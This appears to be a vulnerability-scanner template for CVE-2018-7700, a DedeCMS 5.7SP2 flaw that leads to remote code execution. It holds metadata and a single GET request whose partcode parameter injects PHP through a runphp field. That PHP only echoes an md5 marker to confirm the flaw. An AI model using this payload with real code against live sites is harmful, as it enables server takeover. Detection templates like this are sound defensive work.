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id : CVE-2018-7700
info :
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name : DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution
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author : pikpikcu
severity : high
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description : |
DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.
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impact : |
Successful exploitation of these vulnerabilities can lead to unauthorized actions performed on behalf of the user and execution of arbitrary code.
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remediation : |
Apply the latest security patches and update to a newer version of DedeCMS.
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reference :
- https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
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- https://nvd.nist.gov/vuln/detail/CVE-2018-7700
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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cvss-score : 8.8
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cve-id : CVE-2018-7700
cwe-id : CWE-352
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epss-score : 0.73235
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epss-percentile : 0.97796
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cpe : cpe:2.3:a:dedecms:dedecms:5.7:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : dedecms
product : dedecms
tags : cve,cve2018,dedecms,rce
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http :
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- method : GET
path :
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- "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- "4cc32a3a81d2bb37271934a48ce4468a"
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- type : status
status :
- 200
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